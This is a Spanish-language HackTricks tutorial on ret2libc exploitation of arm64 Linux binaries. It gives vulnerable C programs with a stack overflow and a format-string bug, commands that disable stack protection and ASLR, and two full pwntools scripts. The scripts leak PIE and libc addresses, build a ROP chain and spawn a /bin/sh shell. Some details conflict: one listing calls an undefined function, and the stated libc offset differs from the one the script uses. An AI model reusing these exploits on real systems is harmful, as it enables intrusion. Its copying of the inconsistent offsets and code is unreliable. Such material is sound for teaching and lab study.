Ret2lib + Printf leak - arm64

Aprende hacking en AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Ret2lib - Bypass de NX con ROP (sin ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Compilar sin canary:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Encontrar el desplazamiento

Desplazamiento x30

Creando un patrón con pattern create 200, utilizándolo y verificando el desplazamiento con pattern search $x30 podemos ver que el desplazamiento es 108 (0x6c).

Al observar la función principal desensamblada, podemos ver que queremos saltar a la instrucción para saltar directamente a printf, cuyo desplazamiento desde donde se carga el binario es 0x860:

Encontrar system y la cadena /bin/sh

Dado que ASLR está deshabilitado, las direcciones siempre serán las mismas:

Encontrar Gadgets

Necesitamos tener en x0 la dirección de la cadena /bin/sh y llamar a system.

Usando rooper se encontró un gadget interesante:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Este gadget cargará x0 desde $sp + 0x18 y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Con este gadget podemos controlar el primer argumento y luego saltar a system.

Explotar

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - Bypass de NX, ASLR y PIE con fugas de printf desde la pila

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Compilar sin canary:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE y ASLR pero sin canary

  • Ronda 1:

  • Fuga de PIE desde la pila

  • Abuso de desbordamiento de búfer para regresar a main

  • Ronda 2:

  • Fuga de libc desde la pila

  • ROP: ret2system

Fugas de Printf

Estableciendo un punto de interrupción antes de llamar a printf es posible ver que hay direcciones a las que regresar en el binario en la pila y también direcciones de libc:

Probando diferentes desplazamientos, %21$p puede filtrar una dirección binaria (bypass de PIE) y %25$p puede filtrar una dirección de libc:

Restando la dirección filtrada de libc con la dirección base de libc, es posible ver que el desplazamiento de la dirección filtrada desde la base es 0x49c40.

Desplazamiento x30

Ver el ejemplo anterior ya que el desbordamiento de búfer es el mismo.

Encontrar Gadgets

Como en el ejemplo anterior, necesitamos tener en x0 la dirección de la cadena /bin/sh y llamar a system.

Usando rooper se encontró otro gadget interesante:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Este gadget cargará x0 desde $sp + 0x78 y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Con este gadget podemos controlar el primer argumento y luego saltar a system.

Explotar

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización